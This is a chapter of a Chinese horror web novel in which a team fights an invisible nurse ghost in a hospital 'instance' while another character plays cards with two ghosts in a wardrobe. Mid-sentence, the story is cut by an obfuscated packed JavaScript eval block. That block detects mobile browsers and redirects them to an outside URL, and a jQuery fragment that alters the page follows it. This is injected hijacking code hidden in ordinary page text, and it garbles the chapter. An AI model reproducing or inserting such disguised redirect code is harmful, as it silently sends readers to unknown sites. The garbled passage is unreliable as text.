21. 021
作品:《我有一座惊悚屋》 幽幽的声音在背后响起。
所有人都被吓了一跳。
舒洁猛然回头,一个护士站在他们身后。
这护士明显不是人,她穿着血红的高跟鞋。
鞋子上没有腿,一件洁白的护士装却漂浮在高跟鞋上空,仿佛真的有一个看不见的人,正穿着这身衣服。
乌黑的长发像海藻一样,从护士帽下垂落,露在外面的脸、脖子,都是隐形的。
看不到她的脸,却能听到无数尖细的笑声,从四面八方涌来。
潮水一样,涌向众人。
阴冷潮湿的感觉瞬间弥漫满整个走廊。
舒洁倒吸一口凉气,没想到他们一直在找的鬼怪,竟然这么轻易就出现在面前。
“还愣着干什么的,我们的道具呢!”
舒洁立刻挥手,让出一条路。
有人拿着一管黑黝黝的枪,朝向红色高跟鞋护士。
“砰——”
一声巨响,那人的身体因后坐力而狠狠后退。
一束火光击中面前的护士。
舒洁一喜,“成了?”
下一秒,烟尘散去。
白衣护士静静站在走廊里。
她的头部在刚才的轰击中微微歪曲,长发变得凌乱,乌七八糟地垂在胸口。
“咔嚓。”
“咔嚓……”
她的头部微微扭曲,众人听到仿佛腐朽木偶,骨骼掰正的声音。
伴随着这一声声脆响,护士被轰歪的头,重新端正。
乌黑的长发开始无风自舞。
她没有嘴,却发出阴冷的声音。
“你们……忽视探视规则,攻击医院工作人员……该死……”
“死”字话音刚落,头发就像蛇一样向着他们抽来。
人群顿时惊慌散开。
“别慌!”
舒洁大声维持着秩序,但无济于事。
人类对怪物的恐惧是刻在骨髓里的。
经历过这么多副本,他们见识过无数怪物虐杀人类的手段。
屠杀怪物,是绝境之下的出路,也是对过往经历愤怒的宣泄。
可刚才,他们手里的武器失去作用。
他们好像又变回柔弱的幼崽。
护士也被他们的行为激怒,她出手动作极快,两只手臂伸的极长,眨眼功夫,抓到左右两个人。
白骨森森从袖管中伸出,指骨狠狠扎进那两人的肩膀。
顿时,雪花飞溅。
“啊啊啊——”
被抓到的人发出惨叫,怎么也挣脱不开。
护士心情似乎右边的很好,她轻而易举地拖着这两个人,高跟鞋“吧嗒吧嗒”踩在地上,步伐优雅,朝着逃窜的人群追去。
“不听话的探视者,要接受惩罚哦。”
甜美的声音,带着无尽的恶意。
舒洁没想到,自己的队伍跟怪物只打了一个照面,就溃不成军。
她将身后一个人往护士的方向一推,以对方的身体挡住护士前进的脚步,自己则趁着这个空隙,钻进旁边一家柜子后的阴影里。
暂时藏匿的身形,她咬牙,从口袋中取出一个小小的符咒。
这是她在上个副本得到的五星道具。
可以让她短暂拥有诛杀鬼怪的能力。
一直不舍得用。
要用在这里吗?
她犹豫片刻,还是又把符咒塞了回去。
转而拿出一柄闪烁着银光的小刀,这也是道具,等级稍微低一些。
将小刀握在手里,她探头向外看去。
这会儿功夫,护士手上抓着的人已经从两个变成四个。
她却丝毫不感到吃力,动作仍旧跟刚才一样优雅,从容。
并且慢慢朝着舒洁的方向走来。
舒洁咬牙,从柜子的阴影里冲出去……
朝着距离护士相反的方向逃跑了!
红高跟鞋的护士仿佛注意到那边的动静,看不见的面孔朝着舒洁逃跑的方向歪了一下。
片刻后,她心情更好的哼起歌儿。
“小兔子乖乖……把门开开……”
“小兔子乖乖……嘿嘿……哈哈……小兔子乖乖……”
……
楼下,杨笑天躲在衣柜里,面前是两个脸色惨败的鬼。
他手里拿着一摞扑克牌,满身冷汗,心态崩溃。
刚才,他听到衣柜里有些动静,就好奇过来查看。
没想到里面伸出两只手,硬生生把他抓进来。
进来才发现,这里面居然有两只鬼怪。
杨笑天倒吸一口凉气,就要跟着两只鬼决一死战,他们却从背后取出一副扑克牌,让他陪他们玩游戏。
以为这是什么副本规则的杨笑天谨慎地答应下来。
他以为对方会跟他玩什么烧脑游戏。
没想到他们居然让他陪他们“抽乌龟”。
这游戏又叫抽鬼牌,最后一张鬼牌留在谁手里,谁就会输掉。
而且,这两只鬼运气还特别差!!
每次鬼牌来到杨笑天手里,不出一个回合,就会被他们抽走。
现在,杨笑天手里的牌已经出光了,只剩下两只鬼。
鬼牌在他们手里来来回回,怎么都结束不了这场无聊的游戏……
眼看他们抽着抽着,又要吵起来,杨笑天忽然听到楼上传来动静。
哐啷哐啷的,好像有什么重物在走动。
刚才还互相吵架的两只鬼瞬间变了脸色,手里的鬼牌一扔,两只鬼抱成一团,极其害怕的样子。
杨笑天不由好奇,“楼上到底有什么?”
两只鬼抖得更厉害了。
“有……有很可怕的东西。”
杨笑天眼底流露出一丝好奇。
什么东西,能被鬼称之为很可怕?
他仰头,仔细倾听上面的动静。
除了沉重的脚步声,重物撞击的声音,隐约还能听到人的惨叫。
他更想知道了。
舒洁他们应该是做好准备来的,为什么一副不敌怪物,溃败逃散的样子?
真想上去看看啊。
这个想法一出现在杨笑天脑海,两只鬼仿佛看穿,一下扑到他身边。
左边一个,右边一个,紧紧抓住他的手臂。
“不,不能去,会死……不,比死更可怕!”
一听比死都可怕,杨笑天瞬间打消念头。
他胆子其实也不是很大。
舒洁那群人咎由自取,还是让他们倒霉去吧。
杨笑天收起衣柜里散落的纸牌,道:“抽鬼牌太无聊了,让我来教你们点新的玩法吧,我们有三个人,还可以……排火车!”
“这样吧,把牌放在地上,一张一张摆下去,如果遇到跟自己出的牌一样的,就可以把这两张牌之间的所有牌都取走,先出完的人输。”
两只鬼丝毫不觉得这种玩法比抽鬼牌还无聊,还没有技术含量。
兴高采烈地接受了这种新游戏,迫不及待跟杨笑天玩起来。
楼上的情况就没有那么美妙了。
一个高跟鞋护士女鬼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057523|194892||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,几乎团灭了舒洁的团队。
带来的道具都没用。
舒洁被她逼着,一步步走入二楼走廊的深处。
末了,只剩下几个血洗者的高干,没有被抓住。
但他们也躲在走廊阴影中,不敢再出来。
这条走廊,直直的从头通到尾,只有中间几个放柜子的地方能躲人。
数量和隐蔽程度都很有限。
伴随着干扰视线的杂鱼被抓,护士的行动越来越快,舒洁等人的处境也越来越危险。
“怎么办?”
不知何时,薛坚辰来到舒洁身旁。
他眉头紧锁,紧紧盯着不远处的护士女鬼。
舒洁背靠在一扇病房门上。
不知为何,这个地方所有的门都打不开。
她咬牙,“要是能进房间就好了,这里房间这么多,能躲好一阵……我就不信这女鬼能一直在这里。”
这根本不能算是什么好办法。
薛坚辰看向舒洁的眼神,不由带上些许埋怨,“你为什么非要来这个副本?”
舒洁抿唇,“老大离开前跟我们说过,这个诡异的世界,有一个特殊的副本,里面藏着结束诡异的秘密,只要我们能找到那个副本,就能结束现在的生活,你难道不想回到以前的世界吗?”
“我想,我当然想。”
薛坚辰几乎没有任何思考过程,就回答了这个问题。
他说出的话,也是每个人类心里一直渴望的。
不用掩饰,也不用思索。
“但是,你知道那个特殊的副本是哪个吗?”
薛坚辰问:“你确定就是我们现在在的这个?”
“很有可能。”
舒洁道:“你在副本里见过像这个店主一样,有理智,能和平交流的怪物吗?她简直就像个普通的人类……这个副本还不会死人,跟我们之前经历过的任何一个副本都不一样,这里面,一定有秘密。”
“你就凭借这个,就认为这个副本是特殊的?就带着兄弟们来送死?”
“不是说了,这个副本不会死人吗!”
“那个杨笑天也只来过一次,他给的资料,你就相信?”
“我们也来过一次。”
两人你一言我一语,语气越来越激动。
忽然,舒洁仿佛意识到什么,回头看了薛坚辰一眼,语气中充满不可思议,“你在怪我?”
薛坚辰一下噎住。
半晌没能说话,别开了头。
其实他们一开始不叫“血洗者”。
只是一群被副本折磨发疯,失去亲人朋友的人,想报复那些肆意屠杀自己同伴的怪物,去副本内跟怪物同归于尽。
后来这种事情做得多了,也有了窍门。
杀的怪物越多,活下来的人越多,在诡异世界,渐渐有了自己的名声。
后来,组织的人不再去针对高难副本,而是带着从高难副本世界拿来的道具,去低等级副本屠杀怪物。
好像这样,就能纾解内心的绝望和恐惧。
薛坚辰时常觉得,组织已经背离成立时的初心。
尤其是在老大离开后,这种情况越来越严重。
现在不是聊这些的时候。
薛坚辰还是没说下去,而是问:“她马上过来了,房门都打不开,我们怎么办?下楼?”
就在这时,他忽然听到细微的“吱呀”一声。
与此同时,舒洁直起身子,惊愕看着背后悄悄敞开一条缝戏的房门。
一直关着的门……
开了。

